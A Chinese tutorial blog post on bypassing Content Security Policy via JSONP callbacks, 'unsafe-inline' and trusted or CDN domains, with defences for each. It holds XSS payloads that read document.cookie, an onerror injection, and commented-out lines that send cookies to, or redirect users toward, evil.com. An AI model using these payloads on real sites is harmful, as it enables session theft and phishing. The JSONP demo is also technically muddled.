Content Security Policy (CSP) 绕过技术中,如何利用 JSONP 端点、unsafe-inline 漏洞或被信任的域来注入恶意代码?

咳咳,各位靓仔靓女们,今天老司机要带大家开一趟通往CSP绕后花园的快车。咱们不搞虚头巴脑的理论,直接上干货,手把手教你如何利用JSONP、unsafe-inline和信任域这些看似无害的东西,来搞点“小破坏”。

欢迎来到CSP绕过“从入门到放弃”系列讲座!

第一站:JSONP大冒险——跨域?不存在的!

JSONP(JSON with Padding)这玩意儿,原本是为了解决跨域请求的问题而生的。它的原理很简单:利用<script>标签可以跨域加载资源的特性,服务器返回一段JavaScript代码,这段代码会调用预先定义好的回调函数,并将数据作为参数传递进去。

听起来很美好对不对?但问题就出在这个回调函数上。如果攻击者能够控制这个回调函数,那就可以执行任意JavaScript代码了。

漏洞利用流程:

  1. 找到一个存在漏洞的JSONP端点。 这种端点通常允许用户自定义回调函数的名称。
  2. 构造一个恶意的回调函数。 这个函数会执行你想要的恶意代码,比如窃取Cookie、重定向用户等等。
  3. 通过<script>标签加载JSONP端点,并指定恶意回调函数。

代码演示:

假设有一个JSONP端点:https://example.com/api/getdata?callback=foo,它可以返回一些数据,并且允许你指定回调函数的名字。

我们先来看看正常的使用方式:

<!DOCTYPE html>
<html>
<head>
  <title>正常使用JSONP</title>
</head>
<body>

  <script>
    function handleData(data) {
      console.log("收到数据:", data);
      // 这里可以对数据进行处理
      document.getElementById("output").textContent = JSON.stringify(data);
    }
  </script>

  <script src="https://example.com/api/getdata?callback=handleData"></script>

  <div id="output"></div>

</body>
</html>

这段代码会从 https://example.com/api/getdata?callback=handleData 获取数据,然后调用 handleData 函数来处理数据。

现在,让我们来搞点事情。我们将构造一个恶意的回调函数:

<!DOCTYPE html>
<html>
<head>
  <title>JSONP漏洞利用</title>
</head>
<body>

  <script>
    function maliciousCallback(data) {
      alert("你被攻击了!Cookie: " + document.cookie);
      // 还可以做更多坏事,比如重定向用户到钓鱼网站
      // window.location.href = "https://evil.com/phishing";
    }
  </script>

  <script src="https://example.com/api/getdata?callback=maliciousCallback"></script>

</body>
</html>

这段代码会加载 https://example.com/api/getdata?callback=maliciousCallback,服务器返回的数据会包裹在 maliciousCallback 函数中执行。由于我们控制了 maliciousCallback 函数的内容,所以就可以执行任意JavaScript代码了。

防御措施:

  • 永远不要允许用户自定义回调函数的名字。 应该使用预定义的回调函数,并对返回的数据进行严格的验证。
  • 使用CORS(跨域资源共享)代替JSONP。 CORS提供了更安全的跨域请求机制。
  • 设置X-Content-Type-Options: nosniff响应头。 阻止浏览器将响应解释为JavaScript代码。

第二站:unsafe-inline的诱惑——放飞自我的代码

CSP的unsafe-inline指令允许在HTML文档中直接嵌入JavaScript代码(例如,使用<script>标签或onclick属性)。这听起来很方便,但同时也打开了XSS攻击的大门。

漏洞利用流程:

  1. 找到一个使用了unsafe-inline指令的网站。
  2. 找到一个可以注入HTML代码的地方。 这可能是评论区、用户个人资料等等。
  3. 注入包含恶意JavaScript代码的HTML代码。

代码演示:

假设一个网站的CSP策略是:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';。这意味着它允许加载同源的JavaScript代码,以及执行内联的JavaScript代码。

现在,我们可以在评论区注入以下代码:

<script>
  alert("你被XSS攻击了!Cookie: " + document.cookie);
  // 还可以做更多坏事,比如发送用户的敏感信息到攻击者的服务器
  // fetch("https://evil.com/collect?cookie=" + document.cookie);
</script>

这段代码会被浏览器执行,弹出包含用户Cookie的警告框。

更隐蔽的方式:利用事件处理函数

<img src="x" onerror="alert('XSS')">

src 属性指向的图片加载失败时,onerror 事件处理函数会被触发,执行其中的JavaScript代码。

防御措施:

  • 尽量避免使用unsafe-inline指令。 如果必须使用,请确保对所有用户输入进行严格的过滤和转义。
  • 使用nonce或hash来限制内联脚本的执行。
    • Nonce: 在CSP策略中指定一个随机数nonce,然后在<script>标签中也使用相同的nonce。只有具有正确nonce的内联脚本才能执行。
      <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'nonce-rAnd0mNumb3r';">
      <script nonce="rAnd0mNumb3r">
        // 这段代码可以执行
        alert("Hello!");
      </script>
      <script>
        // 这段代码不能执行,因为没有nonce属性
        alert("Goodbye!");
      </script>
    • Hash: 在CSP策略中指定内联脚本的SHA256、SHA384或SHA512哈希值。只有具有匹配哈希值的内联脚本才能执行。
      <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'sha256-YOUR_SCRIPT_HASH';">
      <script>
        // 计算这段代码的SHA256哈希值,并替换YOUR_SCRIPT_HASH
        alert("Hello!");
      </script>
  • 使用Trusted Types API 这是一个新的Web API,可以帮助你防止DOM Based XSS攻击。

第三站:信任域的陷阱——信任的代价

CSP允许你指定哪些域名可以加载JavaScript代码。如果你信任了一个存在漏洞的域名,那么攻击者就可以利用这个域名来注入恶意代码。

漏洞利用流程:

  1. 找到一个被信任的域名,并且这个域名存在漏洞。 比如,它允许用户上传任意文件,或者它使用了过时的JavaScript库,存在已知的安全漏洞。
  2. 在被信任的域名上部署恶意JavaScript代码。
  3. 利用被信任的域名来加载恶意代码。

代码演示:

假设一个网站的CSP策略是:Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com;。这意味着它允许加载同源的JavaScript代码,以及从https://trusted.com加载的JavaScript代码。

现在,假设https://trusted.com允许用户上传任意文件。攻击者可以上传一个包含恶意JavaScript代码的文件,比如evil.js

alert("你被攻击了!Cookie: " + document.cookie);
// 还可以做更多坏事,比如篡改页面内容
// document.body.innerHTML = "<h1>你被黑了!</h1>";

然后,攻击者就可以在目标网站上加载这个文件:

<script src="https://trusted.com/uploads/evil.js"></script>

由于https://trusted.com是被信任的域名,所以这段代码会被浏览器执行。

更高级的玩法:利用CDN漏洞

如果目标网站信任了一个CDN(内容分发网络),而这个CDN的某个节点被攻破,攻击者就可以利用这个CDN来注入恶意代码。

防御措施:

  • 只信任必要的域名。 尽量避免信任第三方域名。
  • 定期审查被信任的域名是否存在安全漏洞。
  • 使用子资源完整性(SRI)来验证从CDN加载的文件的完整性。 SRI可以确保加载的文件没有被篡改。
    <script src="https://example.com/script.js"
            integrity="sha384-Li9vy3DqF80TXesGjvzpMT3sSp5btiGgpE7m7x6QYigMNNwdc6RSIVlvJeiIOejmi"
            crossorigin="anonymous"></script>

总结:CSP绕过技术的葵花宝典

技术 原理 利用方式 防御措施
JSONP 利用<script>标签跨域请求,允许自定义回调函数。 控制回调函数,执行恶意JavaScript代码。 禁用用户自定义回调函数,使用CORS代替JSONP,设置X-Content-Type-Options: nosniff
unsafe-inline 允许在HTML文档中直接嵌入JavaScript代码。 注入包含恶意JavaScript代码的HTML代码。 尽量避免使用unsafe-inline,使用nonce或hash,使用Trusted Types API
信任域 CSP允许指定哪些域名可以加载JavaScript代码。 利用被信任的域名上的漏洞来注入恶意代码。 只信任必要的域名,定期审查被信任的域名,使用SRI。
CDN 信任 CDN 的情况下,CDN 可能被攻破,攻击者可以利用这个 CDN 来注入恶意代码。 CDN 如果被攻破,攻击者可以在 CDN 上部署恶意代码,所有引用此 CDN 的站点都会受到影响 定期审查 CDN 的安全性,尽可能的使用 SRI 校验 CDN 资源, 避免使用第三方 CDN, 使用自建 CDN, 并加强安全防护

友情提示:

  • CSP只是一个防御机制,而不是万能的。它只能减少XSS攻击的风险,但不能完全消除XSS攻击。
  • 安全是一个持续的过程,需要不断地学习和实践。

好了,今天的讲座就到这里。希望大家能够学到一些有用的知识,并且在实际工作中加以应用。记住,安全无小事,时刻保持警惕!

(完)

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注